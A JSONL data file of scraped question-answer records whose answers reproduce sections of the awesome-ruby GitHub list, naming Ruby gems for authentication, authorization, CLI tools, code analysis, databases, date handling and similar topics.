[Sorcery](https://github.com/Sorcery/sorcery) - A stripped-down, bare-bones authentication library for Rails.\n* [warden](https://github.com/hassox/warden) - General Rack Authentication Framework.\n* OAuth:\n  * [Doorkeeper](https://github.com/doorkeeper-gem/doorkeeper) - An OAuth2 provider for Rails.\n  * [OAuth2](https://github.com/intridea/oauth2) - A Ruby wrapper for the OAuth 2.0 protocol.\n  * [Rodauth-Oauth](https://gitlab.com/honeyryderchuck/rodauth-oauth) - A rodauth OAuth and OpenID provider plugin.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540848"}
{"id": "gh_36e2f919ec06", "question": "How to: Authorization", "question_body": "About markets/awesome-ruby", "answer": "* [acl9](https://github.com/be9/acl9) - Acl9 is a role-based authorization system that provides a concise DSL for securing your Rails application.\n* [AccessGranted](https://github.com/chaps-io/access-granted) - Multi-role and whitelist based authorization gem for Rails.\n* [ActionPolicy](https://github.com/palkan/action_policy) - Authorization framework for Ruby and Rails applications. Composable, extensible and performant.\n* [CanCanCan](https://github.com/CanCanCommunity/cancancan) - Continuation of CanCan, an authorization Gem for Ruby on Rails.\n* [Consul](https://github.com/makandra/consul) - A scope-based authorization solution for Ruby on Rails.\n* [Petergate](https://github.com/elorest/petergate) - Easy to use and read action and content based authorizations.\n* [Pundit](https://github.com/elabs/pundit) - Minimal authorization through OO design and pure Ruby classes.\n* [Rabarber](https://github.com/brownboxdev/rabarber) - Simple role-based authorization for Rails with multi-tenancy support.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540854"}
{"id": "gh_e3120b25193e", "question": "How to: Automation", "question_body": "About markets/awesome-ruby", "answer": "* [ActiveWorkflow](https://github.com/automaticmode/active_workflow) - An intelligent process and workflow automation platform based on software agents.\n* [Danger](https://github.com/danger/danger) - Automate your team's conventions surrounding code review.\n* [Huginn](https://github.com/cantino/huginn) - Huginn is a system for building agents that perform automated tasks for you online.\n* [Neovim](https://github.com/alexgenco/neovim-ruby) - Ruby bindings for Neovim to make your own neovim editor plugins in Ruby.\n* [Runbook](https://github.com/braintree/runbook) - A framework and Ruby DSL for progressive system automation.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540860"}
{"id": "gh_1e5d14819302", "question": "How to: Breadcrumbs", "question_body": "About markets/awesome-ruby", "answer": "* [Breadcrumbs on Rails](https://github.com/weppos/breadcrumbs_on_rails) - A simple Ruby on Rails plugin for creating and managing a breadcrumb navigation for a Rails project.\n* [Gretel](https://github.com/lassebunk/gretel) - A Ruby on Rails plugin that makes it easy yet flexible to create breadcrumbs.\n* [loaf](https://github.com/peter-murach/loaf) - Manages and displays breadcrumb trails in Rails app - lean & mean.\n* [Simple Navigation](https://github.com/codeplant/simple-navigation) - A ruby gem for creating navigation (html list, link list or breadcrumbs with multiple levels) for your Rails 2, 3 & 4, Sinatra or Padrino.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540866"}
{"id": "gh_0e203f9d0a46", "question": "How to: Boilerplates & UI Kits", "question_body": "About markets/awesome-ruby", "answer": "* [Jumpstart](https://jumpstartrails.com/) - The Ruby on Rails SaaS template to save you months of development time.\n* [Rails Blocks](https://railsblocks.com) - Delightful UI components for your Rails app that use Tailwind CSS & Stimulus controllers.\n* [Speedrail](https://github.com/ryanckulp/speedrail) - A free Rails 8 app template: Devise auth, Stripe billing, Tailwind CSS, admin panel, SEO helpers, etc.\n* [Wheel](https://github.com/bigbinary/wheel) - Rails application template to build Rails applications faster.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540871"}
{"id": "gh_5e5aed53102c", "question": "How to: Captchas and anti-spam", "question_body": "About markets/awesome-ruby", "answer": "* [ActsAsTextcaptcha](https://github.com/matthutchinson/acts_as_textcaptcha) - Protection for Rails models with text-based logic question captchas (from Rob Tuley's textcaptcha.com)\n* [Invisible Captcha](https://github.com/markets/invisible_captcha) - Unobtrusive and flexible spam protection based on the honeypot strategy. It also provides a time-sensitive form submission.\n* [Rakismet](https://github.com/joshfrench/rakismet) - Easy Akismet and TypePad AntiSpam integration for Rails.\n* [reCAPTCHA](https://github.com/ambethia/recaptcha) - reCaptcha API helpers for ruby apps.\n* [Voight-Kampff](https://github.com/biola/Voight-Kampff) - A Ruby gem that detects bots, spiders, crawlers and replicants.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540883"}
{"id": "gh_988148d4066d", "question": "How to: CLI Builder", "question_body": "About markets/awesome-ruby", "answer": "* [Clamp](https://github.com/mdub/clamp) - A command-line application framework.\n* [cmdparse](http://cmdparse.gettalong.org) - An advanced command line parser supporting nested commands.\n* [Commander](https://github.com/commander-rb/commander) - The complete solution for Ruby command-line executables.\n* [dry-cli](https://github.com/dry-rb/dry-cli) - General purpose Command Line Interface (CLI) framework for Ruby.\n* [GLI](https://github.com/davetron5000/gli) - Git-Like Interface Command Line Parser.\n* [Main](https://github.com/ahoward/main) - A class factory and DSL for generating command line programs real quick.\n* [Optimist](https://github.com/ManageIQ/optimist) - A commandline option parser for Ruby that just gets out of your way.\n* [Rake](https://github.com/ruby/rake) - A make-like build utility for Ruby.\n* [Runfile](https://github.com/DannyBen/runfile) - Build command line applications per project with ease. Rake-inspired, Docopt inside.\n* [Slop](https://github.com/leejarvis/slop) - Simple Lightweight Option Parsing.\n* [Terrapin](https://github.com/thoughtbot/terrapin) - A small command line library (Formerly Cocaine).\n* [Thor](http://whatisthor.com) - A toolkit for building powerful command-line interfaces.\n* [TTY](https://github.com/peter-murach/tty) - Toolbox for developing CLI clients.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540890"}
{"id": "gh_dc7cefc9e91b", "question": "How to: CLI Utilities", "question_body": "About markets/awesome-ruby", "answer": "* [Awesome Print](https://github.com/awesome-print/awesome_print) - Pretty print your Ruby objects with style -- in full color and with proper indentation\n* [Betty](https://github.com/pickhardt/betty) - Friendly English-like interface for your command line. Don't remember a command? Ask Betty.\n* [colorize](https://github.com/fazibear/colorize) - Extends String class or add a ColorizedString with methods to set text color, background color and text effects.\n* [colorls](https://github.com/athityakumar/colorls) - Beautifies the `ls` command, with color and font-awesome icons.\n* [formatador](https://github.com/geemus/formatador) - STDOUT text formatting.\n* [Paint](https://github.com/janlelis/paint) - Simple and fast way to set ANSI terminal colors.\n* [Pastel](https://github.com/peter-murach/pastel) - Terminal output styling with intuitive and clean API.\n* [Ru](https://github.com/tombenner/ru) - Ruby in your shell.\n* [Ruby/Progressbar](https://github.com/jfelchner/ruby-progressbar) - The most flexible text progress bar library for Ruby.\n* [Tabulo](https://github.com/matt-harvey/tabulo) - Plain text table generator with a DRY, column-based API.\n* [TablePrint](https://github.com/arches/table_print) - Slice your data from multiple DB tables into a single CLI view.\n* [Terminal Table](https://github.com/tj/terminal-table) - Ruby ASCII Table Generator, simple and feature rich.\n* [Tmuxinator](https://github.com/tmuxinator/tmuxinator) - Create and manage complex tmux sessions easily.\n* [Whirly](https://github.com/janlelis/whirly) - A simple, colorful and customizable terminal spinner library for Ruby.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540898"}
{"id": "gh_bdc1baec5887", "question": "How to: Code Analysis and Metrics", "question_body": "About markets/awesome-ruby", "answer": "* [Brakeman](https://github.com/presidentbeef/brakeman) - A static analysis security vulnerability scanner for Ruby on Rails applications.\n* [Coverband](https://github.com/danmayer/coverband) - Rack middleware to help measure production code coverage.\n* [Fasterer](https://github.com/DamirSvrtan/fasterer) - Make your Rubies go faster with this command line tool highly inspired by fast-ruby and Sferik's talk at Baruco Conf.\n* [Flay](https://github.com/seattlerb/flay) - Flay analyzes code for structural similarities. Differences in literal values, variable, class, method names, whitespace, programming style, braces vs do/end, etc are all ignored. Making this totally rad.\n* [Flog](https://github.com/seattlerb/flog) - Flog reports the most tortured code in an easy to read pain report. The higher the score, the more pain the code is in.\n* [fukuzatsu](https://gitlab.com/coraline/fukuzatsu#fukuzatsu) - Complexity analysis tool with a rich web front-end.\n* [MetricFu](https://github.com/metricfu/metric_fu) - A fist full of code metrics.\n* [Pippi](https://github.com/tcopeland/pippi) - A utility for finding suboptimal Ruby class API usage, focused on runtime analysis.\n* [Pronto](https://github.com/mmozuras/pronto) - Quick automated code review of your changes.\n* [rails_best_practices](https://github.com/railsbp/rails_best_practices) - A code metric tool for rails projects.\n* [Reek](https://github.com/troessner/reek) - Code smell detector for Ruby.\n* [Rubycritic](https://github.com/whitesmith/rubycritic) - A Ruby code quality reporter.\n* [Scientist](https://github.com/github/scientist) - A Ruby library for carefully refactoring critical paths.\n* [SimpleCov](https://github.com/colszowka/simplecov) - Code coverage for Ruby 1.9+ with a powerful configuration library and automatic merging of coverage across test suites.\n* [Sorbet](https://github.com/sorbet/sorbet) - A static type checker for Ruby.\n* [Suture](https://github.com/testdouble/suture) - A Ruby gem that helps you refactor your legacy code.\n* [Traceroute](https://github.com/amatsuda/traceroute) - A Rake task gem that helps you find the dead routes and actions for your Rails 3+ app", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540908"}
{"id": "gh_0d0e700ad00a", "question": "How to: Code Formatting", "question_body": "About markets/awesome-ruby", "answer": "* [niceql](https://github.com/alekseyl/niceql) - A dependentless SQL and SQL errors formatting and colorizing. ActiveRecord seemless integration.\n* [prettier](https://github.com/prettier/plugin-ruby) - A prettier plugin for the Ruby language.\n* [RuboCop](https://github.com/rubocop-hq/rubocop) - A static code analyzer, based on the community Ruby style guide.\n  * [Rubocop Rails](https://github.com/rubocop-hq/rubocop-rails) - A RuboCop extension focused on enforcing Rails best practices and coding conventions.\n  * [Rubocop Rspec](https://github.com/rubocop-hq/rubocop-rspec) - Code style checking for RSpec files\n  * [Rubocop Performance](https://github.com/rubocop-hq/rubocop-performance) - A RuboCop extension focused on code performance checks.\n* [Standard](https://github.com/testdouble/standard) - Ruby Style Guide, with linter & automatic code fixer", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540914"}
{"id": "gh_12d78561c5d9", "question": "How to: Code Highlighting", "question_body": "About markets/awesome-ruby", "answer": "* [CodeRay](https://github.com/rubychan/coderay) - Fast and easy syntax highlighting for selected languages.\n* [pygments.rb](https://github.com/tmm1/pygments.rb) - A Ruby wrapper for the Python pygments syntax highlighter.\n* [Rouge](https://github.com/jneen/rouge) - A pure Ruby code highlighter that is compatible with Pygments.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540919"}
{"id": "gh_b224ccf96df1", "question": "How to: Code Loaders", "question_body": "About markets/awesome-ruby", "answer": "* [Zeitwerk](https://github.com/fxn/zeitwerk) - An efficient and thread-safe Ruby code loader.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540923"}
{"id": "gh_11c150bbfa35", "question": "How to: Coding Style Guides", "question_body": "About markets/awesome-ruby", "answer": "* [Best-Ruby](https://github.com/franzejr/best-ruby) - Ruby Tricks, Idiomatic Ruby, Refactoring & Best Practices.\n* [fast-ruby](https://github.com/JuanitoFatas/fast-ruby) - Writing Fast Ruby. Collect Common Ruby idioms.\n* [Fundamental Ruby](https://github.com/khusnetdinov/ruby.fundamental) - Fundamental programming ruby with examples. Threads, design patterns, data structures, OOP SOLID principle, algorithms.\n* [Rails style guide](https://github.com/bbatsov/rails-style-guide) - Community-driven Rails best practices and style for Rails 3 and 4.\n* [RSpec style guide](https://github.com/andreareginato/betterspecs) - Better Specs { rspec guidelines with ruby }.\n* [Ruby Operators](http://ruby-operators.herokuapp.com/) - A webpage showing awesome names for different Ruby operators.\n* [Ruby style guide](https://github.com/bbatsov/ruby-style-guide) - Community-driven Ruby coding style.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540929"}
{"id": "gh_93062fc5a86b", "question": "How to: Concurrency and Parallelism", "question_body": "About markets/awesome-ruby", "answer": "* [Concurrent Ruby](https://github.com/ruby-concurrency/concurrent-ruby) - Modern concurrency tools including agents, futures, promises, thread pools, supervisors, and more. Inspired by Erlang, Clojure, Scala, Go, Java, JavaScript, and classic concurrency patterns.\n* [EventMachine](https://github.com/eventmachine/eventmachine) - An event-driven I/O and lightweight concurrency library for Ruby.\n* [forkoff](https://github.com/ahoward/forkoff) - brain-dead simple parallel processing for ruby.\n* [Parallel](https://github.com/grosser/parallel) - Run any code in parallel Processes (> use all CPUs) or Threads (> speedup blocking operations). Best suited for map-reduce or e.g. parallel downloads/uploads.\n* [Polyphony](https://github.com/digital-fabric/polyphony) - Fine-grained concurrency for Ruby.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540935"}
{"id": "gh_c1f5724cc266", "question": "How to: Configuration", "question_body": "About markets/awesome-ruby", "answer": "* [AnywayConfig](https://github.com/palkan/anyway_config) - Configuration library for Ruby gems and applications, supporting multiple sources (yml, secrets) and environments.\n* [Chamber](https://github.com/thekompanee/chamber) - Surprisingly customizable convention-based approach to managing your app's configuration.\n* [Configatron](https://github.com/markbates/configatron) - Simple and feature rich configuration system for Ruby apps.\n* [Configus](https://github.com/kaize/configus) - Helps you easily manage environment specific settings.\n* [dotenv](https://github.com/bkeepers/dotenv) - Loads environment variables from `.env`.\n* [Econfig](https://github.com/elabs/econfig) - Flexible configuration for Rails applications.\n* [ENVied](https://github.com/eval/envied) - ensure presence and type of your app's ENV-variables\n* [Envyable](https://github.com/philnash/envyable) - The simplest YAML to ENV config loader.\n* [Figaro](https://github.com/laserlemon/figaro) - Simple, Heroku-friendly Rails app configuration using `ENV` and a single YAML file.\n* [Global](https://github.com/railsware/global) - Provides accessor methods for your configuration data.\n* [RailsConfig](https://github.com/railsconfig/config) - Multi-environment yaml settings for Rails3.\n* [Sail](https://github.com/vinistock/sail) - A lightweight Rails engine that brings an admin panel for managing configuration settings on a live Rails app.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540942"}
{"id": "gh_06f7f0cff2b0", "question": "How to: Core Extensions", "question_body": "About markets/awesome-ruby", "answer": "* [ActiveSupport](https://github.com/rails/rails/tree/master/activesupport) - A collection of utility classes and standard library extensions.\n* [Addressable](https://github.com/sporkmonger/addressable) - Addressable is a replacement for the URI implementation that is part of Ruby's standard library. It more closely conforms to RFC 3986, RFC 3987, and RFC 6570 (level 4), providing support for IRIs and URI templates.\n* [Bitwise](https://github.com/kenn/bitwise) - Fast, memory efficient bitwise operations on large binary strings\n* [Finishing Moves](https://github.com/forgecrafted/finishing_moves) - Small, focused, incredibly useful methods added to core Ruby classes. Includes the endlessly useful `nil_chain`.\n* [Docile](https://github.com/ms-ati/docile) - A tiny library that lets you map a DSL (domain specific language) to your Ruby objects in a snap.\n* [dry-rb](https://github.com/dry-rb) - dry-rb is a collection of next-generation Ruby libraries, each intended to encapsulate a common task.\n* [Hamster](https://github.com/hamstergem/hamster) - Efficient, immutable, and thread-safe collection classes for Ruby.\n* [Hanami::Utils](https://github.com/hanami/utils) - Lightweight, non-monkey-patch class utilities for Hanami and Ruby app.\n* [MemoWise](https://github.com/panorama-ed/memo_wise) - Memoize any instance/class/module method, including support for frozen objects - rigorously tested and benchmarked on all Rubies - fast performance of memoized reads.\n* [Ruby Facets](https://github.com/rubyworks/facets) - The premiere collection of general purpose method extensions and standard additions for Ruby.\n* [Trick Bag](https://github.com/keithrbennett/trick_bag) - Assorted Ruby classes and methods to simplify and enhance your code.\n* Attributes\n  * [ActiveAttr](https://github.com/cgriego/active_attr) - What ActiveModel left out.\n  * [Virtus](https://github.com/solnic/virtus) - Attributes on Steroids for Plain Old Ruby Objects.\n  * [AttrExtras](https://github.com/barsoom/attr_extras) - Takes some boilerplate out of Ruby with methods like attr_initialize.\n* Hash\n  * [Hashie](https://github.com/intridea/hashie) - A collection of tools that extend Hashes and make them more useful.\n* String\n  * [string_pattern](https://github.com/MarioRuiz/string_pattern) - Generate strings supplying a simple pattern.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540950"}
{"id": "gh_12bbf0619490", "question": "How to: Country Data", "question_body": "About markets/awesome-ruby", "answer": "* [Carmen](https://github.com/jim/carmen) - A repository of geographic regions.\n* [Countries](https://github.com/hexorx/countries) - All sorts of useful information about every country packaged as pretty little country objects.\n* [i18n_data](https://github.com/grosser/i18n_data) - country/language names and 2-letter-code pairs, in 85 languages, for country/language i18n.\n* [normalize_country](https://github.com/sshaw/normalize_country) - Convert country names and codes to a standard, includes a conversion program for XMLs, CSVs and DBs.\n* [Phonelib](https://github.com/daddyz/phonelib) - Ruby gem for phone validation and formatting using Google libphonenumber library data.\n* [Phony](https://github.com/floere/phony) - Fast international phone number (E164 standard) normalizing, splitting and formatting.\n* [validates_zipcode](https://github.com/dgilperez/validates_zipcode) - Postal code / zipcode validation for Rails, supporting 233 country codes.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540957"}
{"id": "gh_730c04a3f5a4", "question": "How to: Cryptocurrencies and Blockchains", "question_body": "About markets/awesome-ruby", "answer": "* [Blockchain Lite](https://github.com/openblockchains/blockchain.lite.rb) - Build your own blockchains with crypto hashes; revolutionize the world with blockchains, blockchains, blockchains one block at a time.\n* [Ciri](https://github.com/ciri-ethereum/ciri) - Ruby implementation of Ethereum.\n* [MoneyTree](https://github.com/GemHQ/money-tree) - A Ruby implementation of Bitcoin HD Wallets (Hierarchical Deterministic) BIP32.\n* [Peatio](https://github.com/rubykube/peatio) - Most Advanced Cryptocurrency open-source assets exchange.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540962"}
{"id": "gh_a1e082ed2247", "question": "How to: Dashboards", "question_body": "About markets/awesome-ruby", "answer": "* [Blazer](https://github.com/ankane/blazer) - Simple data viewer using only SQL. Output to table, chart, and maps.\n* [Smashing](https://smashing.github.io/) - Smashing is a Sinatra based framework that lets you build beautiful dashboards. This project is the maintained spiritual successor to the Dashing framework.\n* [Dashing-Rails](https://github.com/gottfrois/dashing-rails) - The exceptionally handsome dashboard framework for Rails.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540967"}
{"id": "gh_807f259339a6", "question": "How to: Data Processing and ETL", "question_body": "About markets/awesome-ruby", "answer": "* [attr-gather](https://github.com/ianks/attr-gather) - A gem for creating workflows that \"enhance\" entities with extra attributes. At a high level, attr-gather provides a process to fetch information from many data sources (such as third party APIs, legacy databases, etc.) in a fully parallelized fashion.\n* [CSV Reader](https://github.com/csvreader/csvreader) - A modern tabular data (line-by-line records) reader supports \"classic\" CSV but also CSV Numerics, `CSV <3 JSON`, `CSV <3 YAML`, tab, space or fixed width fields (FWF) and many more flavors and dialects.\n* [json-streamer](https://github.com/thisismydesign/json-streamer) - Stream JSON data based on various criteria (key, nesting level, etc).\n* [Kiba](http://www.kiba-etl.org) - A lightweight data processing / ETL framework for Ruby.\n* [Multiwoven](https://github.com/Multiwoven/multiwoven) - The open-source reverse ETL, data activation platform developed using Ruby and Ruby on Rails.\n* [ruby-stemmer](https://github.com/aurelian/ruby-stemmer) - It Provides Snowball algorithm for stemming purposes.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540973"}
{"id": "gh_c70c11f9fb5b", "question": "How to: Data Visualization", "question_body": "About markets/awesome-ruby", "answer": "* [Chartkick](http://chartkick.com/) - Create beautiful Javascript charts with one line of Ruby.\n* [GeoPattern](https://github.com/jasonlong/geo_pattern) - Create beautiful generative geometric background images from a string.\n* [LazyHighCharts](https://github.com/michelson/lazy_high_charts) - A simple and extremely flexible way to use HighCharts from ruby code. Tested on Ruby on Rails, Sinatra and Nanoc, but it should work with others too.\n* [ApexCharts.rb](https://github.com/styd/apexcharts.rb) - Awesome charts for your ruby app. Works on any ruby app, including Rails app. It even works on plain HTML+ERB files.\n* [RailRoady](https://github.com/preston/railroady) - Ruby on Rails 3/4 model and controller UML class diagram generator.\n* [Rails Erd](https://github.com/voormedia/rails-erd) - Generate Entity-Relationship Diagrams for Rails applications.\n* [Ruby/GraphViz](https://github.com/glejeune/Ruby-Graphviz) - Ruby interface to the GraphViz graphing tool.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540979"}
{"id": "gh_a6fbe0aa72a0", "question": "How to: Database Drivers", "question_body": "About markets/awesome-ruby", "answer": "* [Cassandra Driver](https://github.com/datastax/ruby-driver) - A pure ruby driver for Apache Cassandra with asynchronous io and configurable load balancing, reconnection and retry policies.\n* [mongo-ruby-driver](https://github.com/mongodb/mongo-ruby-driver) - MongoDB Ruby driver.\n* [mysql2](https://github.com/brianmario/mysql2) - A modern, simple and very fast Mysql library for Ruby (binding to libmysql).\n* [Neography](https://github.com/maxdemarzi/neography) - A thin Ruby wrapper to the Neo4j Rest API.\n* [Redic](https://github.com/amakawa/redic) - Lightweight Redis Client.\n* [redis-rb](https://github.com/redis/redis-rb) - A Ruby client that tries to match Redis' API one-to-one, while still providing an idiomatic interface.\n* [ruby-pg](https://github.com/ged/ruby-pg) - Ruby interface to PostgreSQL 8.3 and later.\n* [SQLite3](https://github.com/sparklemotion/sqlite3-ruby) - Ruby bindings for the SQLite3 embedded database.\n* [SQL Server](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter) - The SQL Server adapter for ActiveRecord.\n* [TinyTDS](https://github.com/rails-sqlserver/tiny_tds) - FreeTDS bindings for Ruby using DB-Library.\n* [Trilogy](https://github.com/trilogy-libraries/trilogy) - A performance-oriented C library for MySQL-compatible databases.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540986"}
{"id": "gh_ad38134e7204", "question": "How to: Database Tools", "question_body": "About markets/awesome-ruby", "answer": "* [connection_pool](https://github.com/mperham/connection_pool) - Generic connection pooling for Ruby, that can be used with anything, e.g. Redis, Dalli, etc.\n* [Database Cleaner](https://github.com/DatabaseCleaner/database_cleaner) - Database Cleaner is a set of strategies for cleaning your database in Ruby.\n* [Database Consistency](https://github.com/djezzzl/database_consistency) - An easy way to check that application constraints and database constraints are in sync.\n* [Foreigner](https://github.com/matthuhiggins/foreigner) - Adds foreign key helpers to migrations and correctly dumps foreign keys to schema.rb.\n* [Large Hadron Migrator](https://github.com/soundcloud/lhm) - Online MySQL schema migrations without locking the table.\n* [Lol DBA](https://github.com/plentz/lol_dba) - Scan your models and displays a list of columns that probably should be indexed.\n* [Online Migrations](https://github.com/fatkodima/online_migrations) - Catch unsafe PostgreSQL migrations in development and run them easier in production.\n* [Polo](https://github.com/IFTTT/polo) - Creates sample database snapshots to work with real world data in development.\n* [PgHero](https://github.com/ankane/pghero) - Postgres insights made easy.\n* [Rails DB](https://github.com/igorkasyanchuk/rails_db) - Database Viewer and SQL Query Runner.\n* [Rein](https://github.com/nullobject/rein) - Database constraints made easy for ActiveRecord.\n* [Scenic](https://github.com/thoughtbot/scenic) - Versioned database views for Rails.\n* [SchemaPlus](https://github.com/SchemaPlus/schema_plus) - SchemaPlus provides a collection of enhancements and extensions to ActiveRecord\n* [SecondBase](https://github.com/customink/secondbase) - Seamless second database integration for Rails. SecondBase provides support for Rails to manage dual databases by extending ActiveRecord tasks that create, migrate, and test your application.\n* [Seedbank](https://github.com/james2m/seedbank) - Seedbank allows you to structure your Rails seed data instead of having it all dumped into one large file.\n* [Seed dump](https://github.com/rroblak/seed_dump) - Rails 4 task to dump (parts) of your database to db/seeds.rb.\n* [Seed Fu](https://github.com/mbleigh/seed-fu) - Advanced seed data handling for Rails.\n* [Standby](https://github.com/kenn/standby) - Read from standby databases for ActiveRecord (formerly Slavery).\n* [Strong Migrations](https://github.com/ankane/strong_migrations) - Catch unsafe migrations in development.\n* [Upsert](https://github.com/seamusabshere/upsert) - Upsert on MySQL, PostgreSQL, and SQLite3. Transparently creates functions (UDF) for MySQL and PostgreSQL; on SQLite3, uses INSERT OR IGNORE.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.540994"}
{"id": "gh_c82de349a7fa", "question": "How to: Date and Time Processing", "question_body": "About markets/awesome-ruby", "answer": "* [biz](https://github.com/zendesk/biz) - Time calculations using business hours.\n* [business_time](https://github.com/bokmann/business_time) - Support for doing time math in business hours and days.\n* [ByStar](https://github.com/radar/by_star) - Find ActiveRecord objects by year, month, fortnight, week and more!\n* [Chronic](https://github.com/mojombo/chronic) - A natural language date/time parser written in pure Ruby.\n* [date_range_formatter](https://github.com/darkleaf/date_range_formatter) - The simple tool to make work with date ranges in Ruby more enjoyable.\n* [groupdate](https://github.com/ankane/groupdate) - The simplest way to group temporal data in ActiveRecord, arrays and hashes.\n* [holidays](https://github.com/holidays/holidays) - A collection of Ruby methods to deal with statutory and other holidays.\n* [ice_cube](https://github.com/seejohnrun/ice_cube) - A date recurrence library which allows easy creation of recurrence rules and fast querying.\n* [Jekyll-Timeago](https://github.com/markets/jekyll-timeago) - A Ruby library to compute distance of dates in words, with localization support, alternative styles, CLI and Jekyll support.\n* [local_time](https://github.com/basecamp/local_time) - Rails Engine for cache-friendly, client-side local time.\n* [montrose](https://github.com/rossta/montrose) - a simple library for expressing, serializing, and enumerating recurring events in Ruby.\n* [stamp](https://github.com/jeremyw/stamp) - Format dates and times based on human-friendly examples, not arcane strftime directives.\n* [time_diff](https://github.com/abhidsm/time_diff) - Calculates the difference between two time.\n* [timezone](https://github.com/panthomakos/timezone) - Accurate current and historical timezones and transformations, with support for Geonames and Google latitude - longitude timezone lookups.\n* [TZinfo](https://github.com/tzinfo/tzinfo) - Provides daylight savings aware transformations between times in different timezones.\n* [validates_timeliness](https://github.com/adzap/validates_timeliness) - Date and time validation plugin for ActiveModel and Rails.\n* [working_hours](https://github.com/intrepidd/working_hours) - A modern ruby gem allowing to do time calculation with working hours.\n* [yymmdd](https://github.com/sshaw/yymmdd) - Tiny DSL for idiomatic date parsing and formatting.", "tags": ["markets"], "source": "github_gists", "category": "markets", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 14006, "answer_score": 10, "has_code": false, "url": "https://github.com/markets/awesome-ruby", "collected_at": "2026-01-17T13:02:26.541003"}
